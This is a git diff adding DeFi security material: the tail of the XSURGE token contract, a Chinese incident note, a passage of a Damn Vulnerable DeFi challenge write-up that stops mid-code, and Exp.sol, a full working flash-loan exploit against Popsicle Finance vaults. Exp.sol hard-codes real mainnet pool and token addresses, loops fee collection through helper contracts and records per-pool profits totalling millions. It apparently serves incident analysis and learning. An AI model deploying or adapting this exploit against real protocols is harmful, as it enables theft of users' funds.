+        emit OwnershipTransferred(address(0), msgSender);
+    }
+
+    /**
+     * @dev Returns the address of the current owner.
+     */
+    function owner() public view returns (address) {
+        return _owner;
+    }
+
+    /**
+     * @dev Throws if called by any account other than the owner.
+     */
+    modifier onlyOwner() {
+        require(_owner == _msgSender(), "Ownable: caller is not the owner");
+        _;
+    }
+
+    /**
+     * @dev Leaves the contract without owner. It will not be possible to call
+     * `onlyOwner` functions anymore. Can only be called by the current owner.
+     *
+     * NOTE: Renouncing ownership will leave the contract without an owner,
+     * thereby removing any functionality that is only available to the owner.
+     */
+    function renounceOwnership() public virtual onlyOwner {
+        emit OwnershipTransferred(_owner, address(0));
+        _owner = address(0);
+    }
+
+    /**
+     * @dev Transfers ownership of the contract to a new account (`newOwner`).
+     * Can only be called by the current owner.
+     */
+    function transferOwnership(address newOwner) public virtual onlyOwner {
+        require(newOwner != address(0), "Ownable: new owner is the zero address");
+        emit OwnershipTransferred(_owner, newOwner);
+        _owner = newOwner;
+    }
+
+    function geUnlockTime() public view returns (uint256) {
+        return _lockTime;
+    }
+
+    //Locks the contract for owner for the amount of time provided
+    function lock(uint256 time) public virtual onlyOwner {
+        _previousOwner = _owner;
+        _owner = address(0);
+        _lockTime = block.timestamp + time;
+        emit OwnershipTransferred(_owner, address(0));
+    }
+
+    //Unlocks the contract for owner when _lockTime is exceeds
+    function unlock() public virtual {
+        require(_previousOwner == msg.sender, "You don't have permission to unlock");
+        require(block.timestamp > _lockTime , "Contract is locked");
+        emit OwnershipTransferred(_owner, _previousOwner);
+        _owner = _previousOwner;
+    }
+}
+
+/** 
+ * Contract: Surge Token
+ * Developed By: SafemoonMark
+ * 
+ * Liquidity-less Token, DEX built into Contract
+ * Send BNB to contract and it mints Surge Token to your receive Address
+ * Sell this token via dApp like bscscan, removes from Supply
+ * Price is calculated as a ratio between Total Supply and BNB in Contract
+ * Next Gen DeFi Token :D
+ * 
+ */
+contract SurgeToken is IERC20, Context, Ownable, ReentrancyGuard {
+    
+    using SafeMath for uint256;
+    using SafeMath for uint8;
+    using Address for address;
+
+    // token data
+    string constant _name = "Surge";
+    string constant _symbol = "SURGE";
+    uint8 constant _decimals = 0;
+    // 1 Billion Total Supply
+    uint256 _totalSupply = 1 * 10**9;
+    // balances
+    mapping (address => uint256) _balances;
+    mapping (address => mapping (address => uint256)) _allowances;
+
+    uint256 public sellFee = 94;
+    uint256 public spreadDivisor = 94;
+    uint256 public transferFee = 98;
+    bool public hyperInflatePrice = false;
+    
+    bool inSwap;
+    modifier swapping() { inSwap = true; _; inSwap = false; }
+    
+    // initialize some stuff
+    constructor (
+    ) {
+        // exempt this contract, the LP, and OUR burn wallet from receiving Safemoon Rewards
+        _balances[msg.sender] = _totalSupply;
+        emit Transfer(address(0), msg.sender, _totalSupply);
+    }
+
+    function totalSupply() external view override returns (uint256) { return _totalSupply; }
+    function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }
+    function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; }
+    function name() public pure returns (string memory) {
+        return _name;
+    }
+
+    function symbol() public pure returns (string memory) {
+        return _symbol;
+    }
+
+    function decimals() public pure returns (uint8) {
+        return _decimals;
+    }
+
+    function approve(address spender, uint256 amount) public override returns (bool) {
+        _allowances[msg.sender][spender] = amount;
+        emit Approval(msg.sender, spender, amount);
+        return true;
+    }
+  
+    /** Transfer Function */
+    function transfer(address recipient, uint256 amount) external override returns (bool) {
+        return _transferFrom(msg.sender, recipient, amount);
+    }
+    /** Transfer Function */
+    function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
+        require(sender == msg.sender);
+        return _transferFrom(sender, recipient, amount);
+    }
+    
+    /** Internal Transfer */
+    function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
+        // make standard checks
+        require(recipient != address(0), "BEP20: transfer to the zero address");
+        require(amount > 0, "Transfer amount must be greater than zero");
+        // subtract form sender, give to receiver, burn the fee
+        uint256 tAmount = amount.mul(transferFee).div(10**2);
+        uint256 tax = amount.sub(tAmount);
+        // subtract from sender
+        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
+        // give reduced amount to receiver
+        _balances[recipient] = _balances[recipient].add(tAmount);
+        // burn the tax
+        _totalSupply = _totalSupply.sub(tax);
+        // Transfer Event
+        emit Transfer(sender, recipient, tAmount);
+        return true;
+    }
+    
+    /** Purchases SURGE Tokens and Deposits Them in Sender's Address*/
+    function purchase(address buyer, uint256 bnbAmount) internal returns (bool) {
+        // make sure we don't buy more than the bnb in this contract
+        require(bnbAmount <= address(this).balance, 'purchase not included in balance');
+        // previous amount of BNB before we received any        
+        uint256 prevBNBAmount = (address(this).balance).sub(bnbAmount);
+        // if this is the first purchase, use current balance
+        prevBNBAmount = prevBNBAmount == 0 ? address(this).balance : prevBNBAmount;
+        // find the number of tokens we should mint to keep up with the current price
+        uint256 nShouldPurchase = hyperInflatePrice ? _totalSupply.mul(bnbAmount).div(address(this).balance) : _totalSupply.mul(bnbAmount).div(prevBNBAmount);
+        // apply our spread to tokens to inflate price relative to total supply
+        uint256 tokensToSend = nShouldPurchase.mul(spreadDivisor).div(10**2);
+        // revert if under 1
+        if (tokensToSend < 1) {
+            revert('Must Buy More Than One Surge');
+        }
+        
+        // mint the tokens we need to the buyer
+        mint(buyer, tokensToSend);
+        emit Transfer(address(this), buyer, tokensToSend);
+        return true;
+    }
+    
+    /** Sells SURGE Tokens And Deposits the BNB into Seller's Address */
+    function sell(uint256 tokenAmount) public nonReentrant returns (bool) {
+        
+        address seller = msg.sender;
+        
+        // make sure seller has this balance
+        require(_balances[seller] >= tokenAmount, 'cannot sell above token amount');
+        
+        // calculate the sell fee from this transaction
+        uint256 tokensToSwap = tokenAmount.mul(sellFee).div(10**2);
+        
+        // how much BNB are these tokens worth?
+        uint256 amountBNB = tokensToSwap.mul(calculatePrice());
+        
+        // send BNB to Seller
+        (bool successful,) = payable(seller).call{value: amountBNB, gas: 40000}(""); 
+        if (successful) {
+            // subtract full amount from sender
+            _balances[seller] = _balances[seller].sub(tokenAmount, 'sender does not have this amount to sell');
+            // if successful, remove tokens from supply
+            _totalSupply = _totalSupply.sub(tokenAmount);
+        } else {
+            revert();
+        }
+        emit Transfer(seller, address(this), tokenAmount);
+        return true;
+    }
+    
+    /** Returns the Current Price of the Token */
+    function calculatePrice() public view returns (uint256) {
+        return ((address(this).balance).div(_totalSupply));
+    }
+    
+    /** Mints Tokens to the Receivers Address */
+    function mint(address receiver, uint amount) internal {
+        _balances[receiver] = _balances[receiver].add(amount);
+        _totalSupply = _totalSupply.add(amount);
+    }
+    
+    /** Amount of BNB in Contract */
+    function getBNBQuantityInContract() public view returns(uint256){
+        return address(this).balance;
+    }
+    /** Returns the value of your holdings before the 6% sell fee */
+    function getValueOfHoldings(address holder) public view returns(uint256) {
+        return _balances[holder].mul(calculatePrice());
+    }
+    
+    receive() external payable {
+        uint256 val = msg.value;
+        address buyer = msg.sender;
+        purchase(buyer, val);
+    }
+
+    
+}
\ No newline at end of file
diff --git a/security/Analysis&POC/XSURGE/images/12161.png b/security/Analysis&POC/XSURGE/images/12161.png
new file mode 100644
index 000000000..7b57d76d9
Binary files /dev/null and b/security/Analysis&POC/XSURGE/images/12161.png differ
diff --git a/security/Analysis&POC/XSURGE/images/Attack.png b/security/Analysis&POC/XSURGE/images/Attack.png
new file mode 100644
index 000000000..8799ee998
Binary files /dev/null and b/security/Analysis&POC/XSURGE/images/Attack.png differ
diff --git a/security/Analysis&POC/XSURGE/images/Attack_TX.png b/security/Analysis&POC/XSURGE/images/Attack_TX.png
new file mode 100644
index 000000000..bfe1b13dd
Binary files /dev/null and b/security/Analysis&POC/XSURGE/images/Attack_TX.png differ
diff --git a/security/Analysis&POC/XSURGE/images/Before_Attack.png b/security/Analysis&POC/XSURGE/images/Before_Attack.png
new file mode 100644
index 000000000..9848e65c6
Binary files /dev/null and b/security/Analysis&POC/XSURGE/images/Before_Attack.png differ
diff --git a/security/Analysis&POC/XSURGE/images/Code-1.png b/security/Analysis&POC/XSURGE/images/Code-1.png
new file mode 100644
index 000000000..cb13550eb
Binary files /dev/null and b/security/Analysis&POC/XSURGE/images/Code-1.png differ
diff --git a/security/Analysis&POC/XSURGE/images/Code-2.png b/security/Analysis&POC/XSURGE/images/Code-2.png
new file mode 100644
index 000000000..327fbf31d
Binary files /dev/null and b/security/Analysis&POC/XSURGE/images/Code-2.png differ
diff --git a/security/Analysis&POC/XSURGE/images/Deposit.png b/security/Analysis&POC/XSURGE/images/Deposit.png
new file mode 100644
index 000000000..6605823a4
Binary files /dev/null and b/security/Analysis&POC/XSURGE/images/Deposit.png differ
diff --git a/security/Analysis&POC/XSURGE/images/Purchase.png b/security/Analysis&POC/XSURGE/images/Purchase.png
new file mode 100644
index 000000000..abfea75d6
Binary files /dev/null and b/security/Analysis&POC/XSURGE/images/Purchase.png differ
diff --git a/security/Analysis&POC/XSURGE/images/Repay.png b/security/Analysis&POC/XSURGE/images/Repay.png
new file mode 100644
index 000000000..2884e26bd
Binary files /dev/null and b/security/Analysis&POC/XSURGE/images/Repay.png differ
diff --git a/security/Analysis&POC/XSURGE/images/Six_Times.png b/security/Analysis&POC/XSURGE/images/Six_Times.png
new file mode 100644
index 000000000..116997cfa
Binary files /dev/null and b/security/Analysis&POC/XSURGE/images/Six_Times.png differ
diff --git a/security/Analysis&POC/XSURGE/images/Success.png b/security/Analysis&POC/XSURGE/images/Success.png
new file mode 100644
index 000000000..44b0cbd59
Binary files /dev/null and b/security/Analysis&POC/XSURGE/images/Success.png differ
diff --git a/security/Analysis&POC/XSURGE/images/Withdrawal.png b/security/Analysis&POC/XSURGE/images/Withdrawal.png
new file mode 100644
index 000000000..c3bb5a7bc
Binary files /dev/null and b/security/Analysis&POC/XSURGE/images/Withdrawal.png differ
diff --git a/security/Analysis&POC/XSURGE/images/function_Purchase.png b/security/Analysis&POC/XSURGE/images/function_Purchase.png
new file mode 100644
index 000000000..932d29ed8
Binary files /dev/null and b/security/Analysis&POC/XSURGE/images/function_Purchase.png differ
diff --git a/security/Analysis&POC/popsicle/Exp.sol b/security/Analysis&POC/popsicle/Exp.sol
new file mode 100644
index 000000000..cacd7b017
--- /dev/null
+++ b/security/Analysis&POC/popsicle/Exp.sol
@@ -0,0 +1,337 @@
+pragma solidity ^0.6.0;
+
+//author: r4v3n
+
+
+import "../node_modules/@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
+
+interface ILendingPool {
+  function flashLoan(
+    address receiverAddress,
+    address[] calldata assets,
+    uint256[] calldata amounts,
+    uint256[] calldata modes,
+    address onBehalfOf,
+    bytes calldata params,
+    uint16 referralCode
+  ) external;
+}
+interface ISorbettoFragola {
+    function token0() external view returns (address);
+    function token1() external view returns (address);
+    function deposit(uint256 amount0Desired, uint256 amount1Desired) external payable returns (uint256 shares, uint256 amount0,uint256 amount1);
+    function collectFees(uint256 amount0, uint256 amount1) external;
+    function withdraw(uint256 shares) external returns (uint256 amount0, uint256 amount1);
+    function userInfo(address) external view returns (uint, uint, uint, uint);
+    function totalSupply() external view returns (uint256);
+    function position() external view returns (uint128 liquidity, uint256 feeGrowthInside0LastX128, uint256 feeGrowthInside1LastX128, uint128 tokensOwed0, uint128 tokensOwed1);
+}
+
+interface IUniswapV2Router01 {
+    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
+    function swapExactTokensForTokens(
+        uint amountIn,
+        uint amountOutMin,
+        address[] calldata path,
+        address to,
+        uint deadline
+    ) external returns (uint[] memory amounts);
+}
+interface IUniswapV2Router02 is IUniswapV2Router01 {
+}
+
+
+contract Lib {
+    using SafeERC20 for IERC20;
+
+    address owner;
+
+    constructor() public {
+        owner = msg.sender;
+    }
+
+    function collectFees(address victim, uint amount0, uint amount1) public {
+        require(msg.sender == owner, "Not your biz!");
+
+        ISorbettoFragola(victim).collectFees(amount0, amount1);
+
+        //collect profit
+        address token0 = ISorbettoFragola(victim).token0();
+        address token1 = ISorbettoFragola(victim).token1();
+        IERC20(token0).safeTransfer(owner, IERC20(token0).balanceOf(address(this)));
+        IERC20(token1).safeTransfer(owner, IERC20(token1).balanceOf(address(this)));
+    }
+
+    function transferTokens(address victim, address _to, uint _value) public {
+        require(msg.sender == owner, "Not your biz!");
+
+        IERC20(victim).transfer(_to, _value);
+    }
+}
+
+contract Exp {
+    using SafeERC20 for IERC20;
+
+    address owner;
+
+    address constant aaveLendingPoolV2 = address(0x7d2768dE32b0b80b7a3454c06BdAc94A69DDc7A9);
+    address constant sushiswap = address(0xd9e1cE17f2641f24aE83637ab66a2cca9C378B9F);
+
+    address constant plpWethUsdt = address(0xc4ff55a4329f84f9Bf0F5619998aB570481EBB48);
+    address constant plpUsdcWeth = address(0xd63b340F6e9CCcF0c997c83C8d036fa53B113546);
+    address constant plpWbtcWeth = address(0x0A8143EF65b0CE4C2fAD195165ef13772ff6Cca0);
+    address constant plpWethUsdt2 = address(0x98d149e227C75D38F623A9aa9F030fB222B3FAa3);
+    address constant plpWbtcUsdc = address(0xB53Dc33Bb39efE6E9dB36d7eF290d6679fAcbEC7);
+    address constant plpUsdcWeth2 = address(0x6f3F35a268B3af45331471EABF3F9881b601F5aA);
+    address constant plpDaiWeth = address(0xDD90112eAF865E4E0030000803ebBb4d84F14617);
+    address constant plpUniWeth = address(0xE22EACaC57A1ADFa38dCA1100EF17654E91EFd35);
+
+    address constant USDT = address(0xdAC17F958D2ee523a2206206994597C13D831ec7);
+    address constant WETH = address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
+    address constant WBTC = address(0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599);
+    address constant USDC = address(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
+    address constant DAI = address(0x6B175474E89094C44Da98b954EedeAC495271d0F);
+    address constant UNI = address(0x1f9840a85d5aF5bf1D1762F925BDADdC4201F984);
+
+    Lib lib1;
+    Lib lib2;
+
+
+    constructor() public {
+        owner = msg.sender;
+        lib1 = new Lib();
+        lib2 = new Lib();
+    }
+
+    function trigger() public {
+        require(msg.sender == owner, "Not your biz!");
+
+        address[] memory assets = new address[](6);
+        assets[0] = USDT;
+        assets[1] = WETH;
+        assets[2] = WBTC;
+        assets[3] = USDC;
+        assets[4] = DAI;
+        assets[5] = UNI;
+
+        uint256[] memory amounts = new uint256[](6);
+        amounts[0] = 30000000000000;
+        amounts[1] = 13000000000000000000000;
+        amounts[2] = 140000000000;
+        amounts[3] = 30000000000000;
+        amounts[4] = 3000000000000000000000000;
+        amounts[5] = 200000000000000000000000;
+
+        uint256[] memory modes = new uint256[](6);
+
+        
+
+        ILendingPool(aaveLendingPoolV2).flashLoan(address(this), assets, amounts, modes, address(this), "", 0);
+
+
+        //collect profit
+        for ( uint i=0 ; i<assets.length ; i++ ) {
+            IERC20(assets[i]).safeTransfer(owner, IERC20(assets[i]).balanceOf(address(this)));
+            
+        }
+    }
+
+    function executeOperation(
+        address[] calldata assets,
+        uint256[] calldata amounts,
+        uint256[] calldata premiums,
+        address initiator,
+        bytes calldata params
+    ) external returns (bool) {
+        
+        
+        shellcode(plpWethUsdt, amounts[1], amounts[0]);        
+        shellcode(plpUsdcWeth, amounts[3], amounts[1]);       
+        shellcode(plpWbtcWeth, amounts[2], amounts[1]);
+        shellcode(plpWethUsdt2, amounts[1], amounts[0]);
+        shellcode(plpWbtcUsdc, amounts[2], amounts[3]);
+        shellcode(plpUsdcWeth2, amounts[3], amounts[1]);
+        shellcode(plpDaiWeth, amounts[4], amounts[1]);
+        shellcode(plpUniWeth, amounts[5], amounts[1]);
+
+        /* Profit
+        30000000000000,13084761850991056935808,140000000000,30000000000000,3000000000000000000000000,206810715663009752855363//uniweth   6810uni + 84eth = 560000u
+        30000000000000,13000009622652369457258,140000000000,30000000000000,3000330778378101188907643,200000000000000000000000//daiweth   330dai + 0.01eth = 800u
+        30000000000000,13000065169771355512335,140000000000,30000780068542,3000000000000000000000000,200000000000000000000000//usdcweth2 780u + 0.06eth = 3400u
+        30000000000000,13000000000000000000000,140060656180,30000350023333,3000000000000000000000000,200000000000000000000000//wbtcusdc  0.6btc + 350u = 40000u
+        30000118293307,13000051456792029427208,140000000000,30000000000000,3000000000000000000000000,200000000000000000000000//wethusdt2 0.05eth + 118u = 2400u
+        30000000000000,13424654060390679405692,144891944083,30000000000000,3000000000000000000000000,200000000000000000000000//wbtcweth  48btc + 425eth = 5070000u
+        30000000000000,13416249266232573978300,140000000000,32255427677756,3000000000000000000000000,200000000000000000000000//usdcweth  2255000u + 416eth = 4210000u
+        34306537791077,13794659617573235952352,140000000000,30000000000000,3000000000000000000000000,200000000000000000000000//wethusdt  4306000u + 795eth = 8040000u
+        */
+        
+        //test_balance(assets);
+
+        // allowing aave to take back the flashloan'ed assets
+        for (uint i = 0; i < assets.length; i++) {
+            uint amountOwing = amounts[i] + premiums[i];
+            IERC20(assets[i]).safeApprove(aaveLendingPoolV2, amountOwing);        
+        
+        }
+
+        return true;
+    }
+
+
+    function test_balance(address[] calldata assets) internal returns(uint){
+        uint balance_0 = IERC20(assets[0]).balanceOf(address(address(this)));
+        uint balance_1 = IERC20(assets[1]).balanceOf(address(address(this)));
+        uint balance_2 = IERC20(assets[2]).balanceOf(address(address(this)));
+        uint balance_3 = IERC20(assets[3]).balanceOf(address(address(this)));
+        uint balance_4 = IERC20(assets[4]).balanceOf(address(address(this)));
+        uint balance_5 = IERC20(assets[5]).balanceOf(address(address(this)));
+        require(false,string(abi.encodePacked(uintToString(balance_0), ",", uintToString(balance_1), ",", uintToString(balance_2), ",", uintToString(balance_3), ",", uintToString(balance_4), ",", uintToString(balance_5))));
+        return 1;
+    }
+
+    function shellcode(address _victim, uint deposit0, uint deposit1) private {
+        
+        address token0 = ISorbettoFragola(_victim).token0();
+        address token1 = ISorbettoFragola(_victim).token1();
+
+
+        (uint shares_ , uint amount_0, uint amount_1 ) = getLiq(_victim, token0, token1, deposit0, deposit1);
+        //revert("deposit done");
+
+        
+        
+        // collectFees II
+        
+        (uint128 victim_liq,,,,) = ISorbettoFragola(_victim).position();
+        (uint amount0, uint amount1, , ) = ISorbettoFragola(_victim).userInfo(address(lib1));
+
+        uint shares = (amount1 * shares_ / amount_1) < (amount0 * shares_ / amount_0 )? (amount1 * shares_ / amount_1):(amount0 * shares_ / amount_0);
+
+        uint balance0;
+        uint balance1;
+
+        if (victim_liq >= shares) {
+            
+            if(amount0 > 1e6 || amount1 > 1e6){
+                lib1.collectFees(_victim, amount0, amount1);
+            }
+            
+            balance0 = IERC20(token0).balanceOf(_victim);
+            balance1 = IERC20(token1).balanceOf(_victim);
+            (amount0, amount1, , ) = ISorbettoFragola(_victim).userInfo(address(lib1));
+            amount0 = amount0< balance0 ? amount0: balance0;
+            amount1 = amount1< balance1 ? amount1: balance1;
+
+            if(amount0 > 1e6 || amount1 > 1e6){
+                lib1.collectFees(_victim, amount0, amount1);
+            }
+            
+
+        }else{
+
+            if(amount_0 * victim_liq / shares_ > 1e6 || amount_1 * victim_liq / shares_ > 1e6){
+                lib1.collectFees(_victim, amount_0 * victim_liq / shares_ , amount_1 * victim_liq / shares_ );
+            }
+            
+            balance0 = IERC20(token0).balanceOf(_victim);
+            balance1 = IERC20(token1).balanceOf(_victim);
+            (amount0, amount1, , ) = ISorbettoFragola(_victim).userInfo(address(lib1));
+            amount0 = amount0< balance0 ? amount0: balance0;
+            amount1 = amount1< balance1 ? amount1: balance1;
+
+            if(amount0 > 1e6 || amount1 > 1e6){
+                lib1.collectFees(_victim, amount0, amount1);
+            }
+
+        }
+
+        (victim_liq,,,,) = ISorbettoFragola(_victim).position();
+        (amount0, amount1, , ) = ISorbettoFragola(_victim).userInfo(address(lib2));
+
+
+        shares = (amount1 * shares_ / amount_1) < (amount0 * shares_ / amount_0 )? (amount1 * shares_ / amount_1):(amount0 * shares_ / amount_0);
+
+
+        
+
+        if (victim_liq >= shares) {
+            
+            if(amount0 > 1e6 || amount1 > 1e6){
+                lib2.collectFees(_victim, amount0, amount1);
+            }
+
+            balance0 = IERC20(token0).balanceOf(_victim);
+            balance1 = IERC20(token1).balanceOf(_victim);
+            (amount0, amount1, , ) = ISorbettoFragola(_victim).userInfo(address(lib2));
+            amount0 = amount0< balance0 ? amount0: balance0;
+            amount1 = amount1< balance1 ? amount1: balance1;
+
+            if(amount0 > 1e6 || amount1 > 1e6){
+                lib2.collectFees(_victim, amount0, amount1);
+            }
+
+        }else{
+
+            
+            if(amount_0 * victim_liq / shares_ > 1e6 || amount_1 * victim_liq / shares_ > 1e6){
+                lib2.collectFees(_victim, amount_0 * victim_liq / shares_ , amount_1 * victim_liq / shares_ );
+            }
+
+            balance0 = IERC20(token0).balanceOf(_victim);
+            balance1 = IERC20(token1).balanceOf(_victim);
+            (amount0, amount1, , ) = ISorbettoFragola(_victim).userInfo(address(lib2));
+            amount0 = amount0< balance0 ? amount0: balance0;
+            amount1 = amount1< balance1 ? amount1: balance1;
+
+            if(amount0 > 1e6 || amount1 > 1e6){
+                lib2.collectFees(_victim, amount0, amount1);
+            }
+            
+        }
+
+        
+
+    }
+
+    function getLiq(address _victim, address token0, address token1, uint deposit0, uint deposit1) internal returns(uint,uint,uint){
+
+        (uint128 shares_s,,,,) = ISorbettoFragola(_victim).position();
+        uint total_supply = ISorbettoFragola(_victim).totalSupply();
+        // deposit
+        IERC20(token0).safeApprove(_victim, deposit0);
+        IERC20(token1).safeApprove(_victim, deposit1);
+        (uint shares_mint, uint amount_0, uint amount_1 ) = ISorbettoFragola(_victim).deposit(deposit0, deposit1);
+        //revert("deposit done");
+       
+
+        uint shares_ = shares_mint * shares_s / total_supply;
+
+        IERC20(_victim).transfer(address(lib1), shares_mint);
+        lib1.collectFees(_victim, 0, 0);
+        lib1.transferTokens(_victim, address(lib2), shares_mint);
+        lib2.collectFees(_victim, 0, 0);
+        lib2.transferTokens(_victim, address(this), shares_mint);
+               
+        // withdraw
+        ISorbettoFragola(_victim).withdraw(shares_mint);
+
+        return(shares_, amount_0, amount_1);
+    }
+
+    function uintToString(uint v) pure internal returns (string memory) {
+         uint maxlength = 78;
+         bytes memory reversed = new bytes(maxlength);
+         uint i = 0;
+         while (v != 0) {
+             uint remainder = v % 10;
+             v = v / 10;
+             reversed[i++] = byte(uint8(48 + remainder));
+         }
+         bytes memory s = new bytes(i);
+         for (uint j = 0; j < i; j++) {
+             s[j] = reversed[i - j - 1];
+         }
+         string memory str = string(s);
+         return str;
+     }
+}
diff --git a/security/Analysis&POC/popsicle/README.md b/security/Analysis&POC/popsicle/README.md
new file mode 100644
index 000000000..d2466dbc8
--- /dev/null
+++ b/security/Analysis&POC/popsicle/README.md
@@ -0,0 +1,27 @@
+## 概述
+---
+2021 年 8月 3 日，Popsicle Finance被攻击，损失2000w美元
+---
+## 事件分析
+
+
+* 攻击合约
+```
+0xf9E3D08196F76f5078882d98941b71C0884BEa52
+```
+
+* 攻击交易
+
+```
+https://etherscan.io/tx/0xcd7dae143a4c0223349c16237ce4cd7696b1638d116a72755231ede872ab70fc
+```
+
+- 截图
+
+​       攻击者：
+
+![attacker](attacker.png)
+
+​         复现：
+
+![tester](tester.png)
diff --git a/security/Analysis&POC/popsicle/attacker.png b/security/Analysis&POC/popsicle/attacker.png
new file mode 100644
index 000000000..d0f693f71
Binary files /dev/null and b/security/Analysis&POC/popsicle/attacker.png differ
diff --git a/security/Analysis&POC/popsicle/tester.png b/security/Analysis&POC/popsicle/tester.png
new file mode 100644
index 000000000..3dca5d169
Binary files /dev/null and b/security/Analysis&POC/popsicle/tester.png differ
diff --git a/security/Damn-Vulnerable-DeFi-wp.md b/security/Damn-Vulnerable-DeFi-wp.md
new file mode 100644
index 000000000..5cc7f925a
--- /dev/null
+++ b/security/Damn-Vulnerable-DeFi-wp.md
@@ -0,0 +1,204 @@
+
+# Damn Vulnerable DeFi Solution
+
+
+This post collects my solution to [Damn Vulnerable DeFi](https://www.damnvulnerabledefi.xyz/index.html), an excellent DeFi vulnerabilities practice platform. It's really a good introduction for whom new to smart contract vulnerabilities. Compared to [Ethernaut](https://ethernaut.openzeppelin.com/), challenges here are more similar to real-world vulnerabilities, and the way we play it is more friendly. I also referred to  some other blogs when finishing these challenges, thanks to these authors. 
+
+
+
+Before starting this series of challenges, I recommend you to learn UniswapV1 and UniswapV2. Not having any DeFi knowledge will make you struggle in basic concepts, and understanding these two protocols is almost enough for this practice. I strongly recommend two blogs where I learned these two protocols: 
+
+[Programming DeFi: Uniswap.](https://jeiwan.net/posts/programming-defi-uniswap-1/)
+
+ and 
+
+[Programming DeFi: Uniswap V2.](https://jeiwan.net/posts/programming-defi-uniswapv2-1/)
+
+The author of these two wonderful blogs also wrote another well-known blog:
+
+[Building Blockchain in Go](https://jeiwan.net/posts/building-blockchain-in-go-part-1/).
+
+
+
+Most details are omitted in this blog, and the full source code of my solution can be found [here](https://github.com/y1cunhui/damn-vulnerable-defi/tree/myanswer).
+
+## 1. Unstoppable
+
+The bug is in this line of `UnstoppableLender.sol`:
+
+```solidity
+assert(poolBalance == balanceBefore);
+```
+
+Although as the comment says, it's ensured by the `deposit` function; users can also send tokens to this contract directly without calling `deposit` and without triggering `fallback`(since it's ERC20 token). So the solution is simple, just transfer tokens directly to the pool:
+
+```javascript
+hacker = await this.token.connect(attacker);
+await this.token.transfer(this.pool.address, INITIAL_ATTACKER_TOKEN_BALANCE);
+```
+
+## 2. Naive receiver
+
+To drain the user's contract, we just need to flash loan `0 ether` each time:
+
+```javascript
+await this.pool.connect(attacker);
+for (i=0;i<10;i++) {
+    await this.pool.flashLoan(this.receiver.address, 0);
+}
+```
+
+To wrap it in a single transaction, you can deploy an attacker contract and move the logic into the contract.
+
+
+
+## 3. Truster
+
+The main strange point is that, `target` and `borrowTo` can be different with `meg.sender`, which means that we can call arbitrary function on behalf of the pool. I choose to call the `approve` function of the token, and then I can call `transferFrom` to drain the pool.
+
+
+
+## 4. Side entrance
+
+It's not hard to find that, we can flash loan some money and then deposit it. After this operation, the balance keeps not changed so the flash loan can succeed, and our deposit increased.
+
+
+
+## 5. The rewarder
+
+This challenge is a bit complex, and we need some time to make it clear by reading the challenge js.(Reading test files is always a good way to understand how this protocol works!)
+
+The bug is in the `distributeRewards` function of contract `TheRewardPool`. When a new round came, it should always distribute the rewards first, and then do the snapshot; but this wrong implementation get confused here. So we just need to flash loan some money and deposit them.
+
+
+
+## 6.  Selfie
+
+It's a bug in the governance system: one can flash loan a lot money to `hasEnoughVote` to execute arbitrary action.
+
+Our attack can be splitted into 2 steps. First we flash loan enough money, queueAction, and return the money. After the delay, we can execute the action.
+
+
+
+## 7. Compromised
+
+It's a strange challenge somehow. We can get two private keys from the network flow, and use the private key to control the oracle to achieve our goal. But I'm wondering is there really private key information in the real-world network flow?
+
+
+
+## 8. Puppet
+
+It's a challenge based on Uniswap V1. If you're not familiar with it, I strongly recommend you to read the blog I mentioned at the beginning of this article or see the offcial documentation. Reading it's source code may be not a good idea since it's written with Vyper.
+
+
+
+The bug is that, the pool compute the price simply from the division of balance, which can be easily manipulated by hacker. So we just need to manipulate the shallow liquidity pool in Uniswap and borrow at an unreasonable price.
+
+
+
+## 9. Puppet V2
+
+Similar to above, it's a challenge based on Uniswap V2, and if you're not familiar with it please read the blog I recommended or the official doc.
+
+
+
+The bug is also similar to challenge 8, where the only difference is that you need to interact with Uniswap V2 functions. These two challenges tells us that, we need to use the TWAP(Time-weighted Average Price) as our oracle instead of the simple division result. For more info about TWAP, you can read the [official doc](https://docs.uniswap.org/protocol/V2/concepts/advanced-topics/pricing) or the [whitepaper](https://uniswap.org/whitepaper.pdf).
+
+
+
+## 10. Free Rider
+
+The bug is in the `buyMany` and `buyOne` function of the marketplace contract. When some one want to but many NFTs, each `buyOne` just check the `msg.value`. Which means you just need to pay once to buy many NFTs.
+
+
+
+We just need to flash loan some money first, then offer and buy for some times to drain the marketplace.
+
+
+
+## 11. backdoor
+
+This is a really interesting challenge, and I find the way to solve it from other blogs. I'd like to describe it in my own way again.
+
+
+
+First I'm not familiar with `Gnosis Safe`, so I cannot understand the code quickly. I just need to find what it wants me to do:
+
+1. Every user do not have `beneficiary` identity in the end, which function in the `walletRegistry` could change this? ——>`proxyCreated`
+
+2. With the comments, I know this function will be called in `GnosisSafeProxyFactory::createProxyWithCallback` ——> see this function.
+
+3. With some basic knowledge of Uniswap, we know that `Factory` contract is something to create the real logic contract quickly. After reading the code, I know that it will call `initializer` of the real `Proxy` contract. Also, by the information of `walletRegistry`:
+   
+   ```solidity
+   require(bytes4(initializer[:4]) == GnosisSafe.setup.selector, "Wrong initialization");
+   ```
+   
+   I know I will call the `setup` function of the `GnosisSafe` contract via `GnosisSafeProxy`'s `delegatecall`
+
+4. By reading the `setup` function, I find a strange parameter thanks to the comments:
+   
+   ```solidity
+   /// @param fallbackHandler Handler for fallback calls to this contract
+   ```
+   
+   This parameter is controlled by us! As a result, it's just a tranditional "controlled delegatecall address" vulnerability. What we want it to get its money, so we can just delegatecall the token contract to transfer token to attacker.
+
+Full code can be seen in my github link at the beginning of this article. I really learned a lot in the way of finding this bug.
+
+
+
+## 12. climber
+
+Bug of this code is here:
+
+```solidity
+function execute(
+        address[] calldata targets,
+        uint256[] calldata values,
+        bytes[] calldata dataElements,
+        bytes32 salt
+    ) external payable {
+        require(targets.length > 0, "Must provide at least one target");
+        require(targets.length == values.length);
+        require(targets.length == dataElements.length);
+
+        bytes32 id = getOperationId(targets, values, dataElements, salt);
+
+        for (uint8 i = 0; i < targets.length; i++) {
+            targets[i].functionCallWithValue(dataElements[i], values[i]);
+        }
+        
+        require(getOperationState(id) == OperationState.ReadyForExecution);
